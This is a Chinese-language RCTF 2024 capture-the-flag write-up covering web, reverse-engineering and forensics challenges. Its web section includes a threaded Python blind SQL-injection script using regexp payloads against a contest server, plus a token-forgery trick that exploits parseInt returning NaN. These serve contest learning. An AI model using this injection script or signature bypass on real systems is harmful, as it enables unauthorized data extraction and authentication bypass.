Featured image of post RCTF 2024

RCTF 2024

UKFC 2024 RCTF Writeup

Web

what_is_love

审计 key1 相关代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
app.post("/key1", (req, res) => {
  const { key1 } = req.body;
  if (key1.length > 52 || !isSafe(key1)) {
    return res.send("love waf");
  }
  let res1 = `SELECT * FROM key1 WHERE love_key = '${key1}'`;
  db.query(`SELECT * FROM key1 WHERE love_key = '${key1}'`, (err, results) => {
    if (err) {
      res.send("error");
    } else if (results.length > 0) {
      res.send("success");
    } else {
      res.send("wrong");
    }
  });
});

存在 SQL 注入,考虑提前闭合 WHERE 字句中 love_key=’’ 条件,并使用正则匹配依次爆出 key1 每一位:

即,传参:'||love_key regexp '^RCTF{ , 爆破每一位

由于代码中限制 key1 长度小于 52,只能爆出 key1 前几位:RCTF{THE_FIRST_STEP_IS_TO_GET_T

于是将正则匹配改为:.*GET_T 继续爆破

得到 key1:RCTF{THE_FIRST_STEP_IS_TO_GET_TO_KNOW

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests
import string
import threading
from queue import Queue
payloads = "'||love_key regexp '{}"
flags='^RCTF{'
# flags='.*GET_T'
all=string.digits+string.ascii_uppercase+"_-!%&"
def step(payload,flag,i,queue):
    mess=payload.format(flag+i)
    # print(mess)
    req=requests.post('http://1.94.13.174:10088/key1',data={'key1':mess})
    # print(req.text)
    if 'success' in req.text:
        flag+=i
        print(flag)
        queue.put(flag)
queue = Queue()      
for i in range(1,50):
    t_list=[]
    for m in all:
        t=threading.Thread(target=step,args=(payloads,flags,m,queue))
        t_list.append(t)
        t.start()
    for t in t_list:
        t.join()
    try:
        flags=queue.get(True,1)
        print(flags)
        while not queue.empty():
            queue.get()
    except:
        print('error')
        exit(0)
# '||love_key regexp 'RCTF{THE_FIRST_STEP_IS_TO_GET_T
# '||love_key regexp '.*GET_TO_KNOW

审计 key2 相关代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
app.post("/key2", (req, res) => {
  let { username, love_time } = req.body;
  let userInfo = {};
  userInfo.username = username;
  userInfo.love_time = Number(love_time);
  if (userInfo.love_time < 10000 || typeof userInfo.love_time !== "number") {
    res.send(
      "There was once a sincere love in front of me, I didn't cherish it, and I regretted it when I lost it, and the most painful thing in the world is nothing more than this. If God could give me a chance to start over, I would say three words to that girl: I love you. If I had to put a deadline on this love, I would say 10,000 years."
    );
  }
  let have_lovers = false;
  if (
    userInfo.username === my_lover.username &&
    userInfo.love_time === my_lover.love_time
  ) {
    have_lovers = true;
  }
  let token = auth.createToken({
    username: userInfo.username,
    love_time: userInfo.love_time,
    have_lovers: have_lovers,
  });
  res.send(`give your a love token:${token}`);
});

app.post("/check", (req, res) => {
  let { love_token } = req.body;
  const [userinfo, err] = auth.decodeToken(love_token);
  if (err) {
    res.send("error");
    return;
  }
  if (userinfo.have_lovers) {
    res.send(`your key2 is ${key2}`);
  } else {
    res.send("your have not lover");
  }
});

其中 key2 路由接收两个参数,判断后生成 token,check 路由检查 token 满足条件后给出 key2

token 包含三个参数:username、love_time、have_lovurs,其中 have_lovurs 由 key2 路由设定为 false ,但 check 路由检查条件为 have_lovurs=true。考虑伪造 token。

审计 token 加解密相关代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
const crypto = require("crypto");

const secret = crypto.randomBytes(128);
const hash = (data) => crypto.createHash("sha256").update(data).digest("hex");

const createToken = (userinfo) => {
  const saltedSecret =
    parseInt(Buffer.from(secret).readBigUInt64BE()) +
    parseInt(userinfo.love_time);
  const data = JSON.stringify(userinfo);
  return (
    Buffer.from(data).toString("base64") + "." + hash(`${data}:${saltedSecret}`)
  );
};

const decodeToken = (token) => {
  if (!token) return [null, "invalid token"];
  const [dataHex, signature] = token.split(".");
  const data = Buffer.from(dataHex, "base64").toString();
  const userinfo = JSON.parse(data);
  const saltedSecret =
    parseInt(Buffer.from(secret).readBigUInt64BE()) +
    parseInt(userinfo.love_time);
  const h=hash(`${data}:${saltedSecret}`)
  if (h !== signature)
    return [null, "invalid token: it is not you"];
  return [userinfo, null];
};

发现逻辑为加盐 sha256,其中加盐代码存在 +parseInt(userinfo.love_time),如果 love_time 不为数字,parseIne()会返回 NAN,导致加盐失败。

利用这点,伪造 token:{“username”:“aaa”,“love_time”:{“NAN”:“NAN”},“have_lovurs”:true}

依照 js 代码执行 createToken()生成最终 token。

带 token 访问 check 路由得到 key2:_AND_GIVE_A_10000_YEAR_COMMITMENT_FOR_LOVE}

得到 flag:

RCTF{THE_FIRST_STEP_IS_TO_GET_TO_KNOW_AND_GIVE_A_10000_YEAR_COMMITMENT_FOR_LOVE}

Re

2048

刚开始小逆了一下,发现这玩意初始一万分,一百万分就给 flag,如果把把梭哈翻倍,也就是 2^7 就能出。。。

所以直接上手玩,没想到这也能一血(?)

bloker_vm

根据异常码来设置 opcode 唬人的

然后无脑动调跟一下 一次异或一次位移一次 rc4,好像还进行了什么 smc,其实没啥用

刚开始调了一下发现对不上 其实是 rc4 密钥有问题,去掉最后一位就行了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
#include <stdio.h>
#include <stdint.h>
#include <bits/stdc++.h> 
#include<stdio.h>

/*
RC4初始化函数
*/
void rc4_init(unsigned char* s, unsigned char* key, unsigned long Len_k)
{
        int i = 0, j = 0;
        char k[256] = { 0 };
        unsigned char tmp = 0;
        for (i = 0; i < 256; i++) {
                s[i] = i;
                k[i] = key[i % Len_k];
        }
        for (i = 0; i < 256; i++) {
                j = (j + s[i] + k[i]) % 256;
                tmp = s[i];
                s[i] = s[j];
                s[j] = tmp;
        }
}

/*
RC4加解密函数
unsigned char* Data     加解密的数据
unsigned long Len_D     加解密数据的长度
unsigned char* key      密钥
unsigned long Len_k     密钥长度
*/
void rc4_crypt(unsigned char* Data, unsigned long Len_D, unsigned char* key, unsigned long Len_k) //加解密
{
        unsigned char s[256];
        rc4_init(s, key, Len_k);
        int i = 0, j = 0, t = 0;
        unsigned long k = 0;
        unsigned char tmp;
        for (k = 0; k < Len_D; k++) {
                i = (i + 1) % 256;
                j = (j + s[i]) % 256;
                tmp = s[i];
                s[i] = s[j];
                s[j] = tmp;
                t = (s[i] + s[j]) % 256;
                Data[k] = Data[k] ^ s[t];
        }
}
int main()
{
        //字符串密钥
        unsigned char key[] = "thisisyoursecretke";
        unsigned long key_len = sizeof(key) - 1;
        //数组密钥
        //unsigned char key[] = {};
        //unsigned long key_len = sizeof(key);
      
          unsigned char flag[]="RCTF";
        for (int i=0;i<4;i++){
                flag[i]^=0x7d;
                flag[i]=((flag[i] << 6) | (flag[i] >> 2) )& 0xff;

        }
        for (int i=0;i<4;i++) printf("0x%x,",flag[i]);
        rc4_crypt(flag, sizeof(flag), key, key_len);
        for (int i=0;i<4;i++) printf("0x%x,",flag[i]);
      
        //加解密数据
        unsigned char data[] = {0x80,0x5,0xe3,0x2f,0x18,0x2f,0xc5,0x8c,0x25,0x70,0xbc,
        0x5,0x1c,0x4f,0xf2,0x2,0xe5,0x3e,0x2
        ,0x2f,0xe5,0x11,0xa3,0xc0, };
        //for (int i=0;i<25;i++) printf("%x",data[i]);
        //加解密

        rc4_crypt(data, sizeof(data), key, key_len);
        for (int i=0;i<4;i++) printf("0x%x,",data[i]);
        for (int i=0;i<25;i++){

                data[i]=((data[i] >> 6) | (data[i] << 2) )& 0x3f;
                data[i]^=0x7d;
              
        }
      
        for (int i = 0; i < sizeof(data); i++)
        {
                printf("%c", data[i]);
        }
        printf("\n");
        return 0;
}

手速快就是能拿一血啊哈哈

Misc

Logo: Signin

签到题,通过分析附件 python 代码,只要在代码框里输入 logo = < 附件给出的一大串 logo> 就过了。

不过经验之谈没这么简单,通过本地调试你会发现换行出了问题,本质上输入的是执行代码,如果直接换行肯定会出错,但是代码会以字符串的形式保存在变量中,如果输入转义字符 \n 的话则会判断成 “\n” 而不是回车,如果要绕过,需要在回车的位置用其他字符替换,并使用函数将字符换回换行字符:(下文换行是为了能完整显示)

1
2
logo = "####################################################################################################a############################ # #####################################################################a####   ##       ########### ## ##          ###########                   ########             ######a####   ##           #########               ##########                   ######                  ###a####   ########       ########     ##########################    #############    ############    ##a####   ###########     ######    ###########   ##############    ############    ###################a###    #############    #####    ###########    #############    ############    ###################a###    ##############   ####    #############   #############   #############    ###################a###    ##############    ###    #############    ############   ##############     #################a###    ##############    ###   ###############   ############   ###############      ###############a###    ##############   ####   ###############   ############   #################      #############a###    #############    ####   ###############   ###########    ####################      ##########a###    ############    #####   ###############   ###########    ######################     #########a###    ####           ######   ##############    ###########    ########################     #######a###    ####         ########    #############    ###########    ##########################    ######a###    #########    #########   #############   ############    ##########################    ######a###    ##########    ########    ###########   #############    ##########################    ######a###    ###########    ########    #########    #############    #############    #########    ######a###    ############   #########     ######   ############       ###############     ####     #######a###   ############## ###########         ############                  #########           #########a#### ###############################  ##############################################    ############a####################################################################################################"
logo = logo.replace('a',chr(10))

s1ayth3sp1re

所给出附件为杀戮尖塔的游戏文件,题面为 score>3000 则可以得到 flag

游玩一番发现此游戏文件较为完整,出题人所作的修改应为外挂方式,进入 jadx 反编译直接搜索关键词“3000”,可发现其中一处与游戏文件格格不入,判断为 flag 生成点

进入主逻辑后发现其为简单异或,数组中未知值也可以直接找到,编写异或脚本即可得到 flag

Logo: 2024

还是输出 logo 但是要小于 446 字节

考虑到要压缩较多倍 于是选择了记录每一行切换#和空格的位置

除开第一行和最后一行,其余都记录下来

由于总共就 100 列,其中 96 列都有被记录过,刚好有 95 个 ascii 可见字符 稍加处理能把基本所有的变换位置都存在一个字符串内

1
2
'9:;<!$&-89;<>HSfn{!$&1:ISfl~!$,3;@Z^ko{\x7f!$/4:>ILZ^jn $15:>IMZ^jn $259=JMZ]jn $269=JNZ]kp $269<KNZ]lr $259<KNZ]nt $159<KNY]qw $049<KNY]sx $(39<JNY]uz $(19=JNY]w{ $-1:=JMY]w{ $.2:>ILY]w{ $/3;?HLY]jnw{ $03<AGJV]lquz #12=FRdmx!"ACqu'[idx]
 大致共240个字节

那么剩下的 200 个字节就可以写解码和存放逻辑了 并且将不必要的缩进去除

脚本如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
s=' '
c='#'
logo='#'*100+'\n'
idx=0
t=0
while idx<228:
 i='9:;<!$&-89;<>HSfn{!$&1:ISfl~!$,3;@Z^ko{\x7f!$/4:>ILZ^jn $15:>IMZ^jn $259=JMZ]jn $269=JNZ]kp $269<KNZ]lr $259<KNZ]nt $159<KNY]qw $049<KNY]sx $(39<JNY]uz $(19=JNY]w{ $-1:=JMY]w{ $.2:>ILY]w{ $/3;?HLY]jnw{ $03<AGJV]lquz #12=FRdmx!"ACqu'[idx]
 b=ord(i)-29
 if t>b:
  logo=logo+c*(100-t)+'\n'
  t=0
 logo=logo+c*(b-t)
 if c=='#':c=' '
 else:c='#'
 t=b
 idx=idx+1
logo=logo+12*'#'+'\n'+'#'*100

445 个字节不多不少 拿到 flag

sec-image

一张图片里塞了 4 位 flag,第一张图片很明显的 RCTF,直接想怎么分离即可

像素只有黑白两种,所以写脚本也不好处理,丢进 gimp 看有没有办法

可以发现特定的变换之下可以显示出单个字母,同方法处理每张图片即可

FindAHacker

附件是 Win7_x64 的 vmem 快照镜像,经典取证。

使用 lovelymem 加载后挂载内存 pmem 文件,并使用 diskgenius 进行扫描,发现桌面上残留有 ida 加载二进制文件的痕迹:

遂立即提取 i64 文件,发现 diskgenius 以及 vol2 均无法提取该文件,便使用最新最热的 vol3:

一眼顶针 异或一下就出了

gogogo

又是取证,是一个 raw 镜像文件:

和上一道题挂载看一看,发现什么都没有,直接使用 AXIOM ,lovelymem 开梭(这里以 lovelymem 为例),看到了一些十分可疑的浏览记录,从中我们可以推理出一些机主的活动:

这里有一个个人主页,可能是机主的,我们可以通过该账号获取一些信息,<del>这是因为出题人玩原神玩的。</del>

还有机主藏在网盘里的小秘密:

我们来看看网盘的小秘密,很可惜,网址并不自带密码,我们需要找到密码,那么在密码在哪里呢?仔细想想,百度网盘真的会有人手输密码吗?一般都是复制吧,那么剪切板里肯定会有,直接 vol2 开梭:

梭出来了,下载,发现 pwd=?.zip 解压,发现解压不了,因为有密码,但是我们点开机主 b 站空间发现:

解压发现有下面的东西

解析流量包发现是键盘输入信号,对其提取如下:

1
[+] USB_Found : ['n', 'i', 'u', 'o', '<SPACE>', 'y', 'b', 'u', 'f', 'm', 'e', 'f', 'h', 'u', 'i', '<SPACE>', 'k', 'j', 'q', 'i', 'l', 'l', 'x', 'd', 'j', 'w', 'm', 'i', '<SPACE>', 'u', 'i', 'z', 'e', 'b', 'u', 'u', 'i', '<SPACE>', '<RET>', 'd', 'v', 'o', 'o', '<SPACE>', '<RET>', 'u', 'd', 'p', 'n', '<SPACE>', 'u', 'i', 'b', 'u', 'u', 'i', '<SPACE>', 'j', 'q', 'y', 'b', 'd', 'm', '<SPACE>', 'v', 'e', 'g', 'e', 'y', 'i', 's', 'i', '<SPACE>', '<RET>', 'v', 'e', 'm', 'e', 'u', 'o', 'l', 'l', '<SPACE>', 'j', 'x', 'y', 's', 'g', 'o', 'w', 'o', 'd', 'm', 'n', 'k', 'd', 'e', 'r', 'f', '<SPACE>', 'd', 'b', 'm', 'z', 'f', 'a', '<SPACE>', 'h', 'k', 'h', 'k', 'd', 'a', 'z', 'i', '<SPACE>', '<RET>', 'z', 'v', 'j', 'n', 'y', 'b', 'u', 'f', 'm', 'e', '<SPACE>', 'h', 'k', 'w', 'j', 'd', 'e', 'g', 'g', 'm', 'a', '<SPACE>', '<RET>', 'n', 'a', '<SPACE>', 'm', 'i', 'm', 'a', 'j', 'q', 'u', 'e', 'v', 'i', 'i', 'g', '<SPACE>', '<RET>', 'k', 'y', 'l', 'l', 'd', 'a', '<SPACE>', 'd', 'o', 'q', 'i', 's', 'l', '<SPACE>', 'b', 'a', '<SPACE>', '<RET>', 'p', 'n', 'y', 'n', 'q', 'r', 'p', 'n', '<SPACE>', '<RET>', 'q', 'r', 'x', 'c', 'x', 'x', 'z', 'i', 'm', 'u', '<SPACE>', '<RET>'

整理一下就是:

1
2
3
4
5
6
7
8
9
niuo ybufmefhui kjqillxdjwmi uizebuui 
dvoo 
udpn uibuui jqybdm vegeyisi 
vemeuoll jxysgowodmnkderf dbmzfa hkhkdazi 
zvjnybufme hkwjdeggma 
na mimajqueviig 
kyllda doqisl ba 
pnynqrpn 
qrxcxxzimu

双拼用户直呼不对劲,并打了出来:

1
2
3
4
5
6
你说 有什么方式 看起来像加密 实则不是 
对哦 双拼 是不是 就有点 这个意思
这么说来 最近有什么 好玩的梗吗 
那密码就设置成
快来打夺旗赛吧
拼音全拼 全小写字母

[!TIP] 密码:kuailaidaduoqisaiba,密码内容,解压即出。

Licensed under CC BY-NC-SA 4.0
使用 Hugo 构建
主题 StackJimmy 设计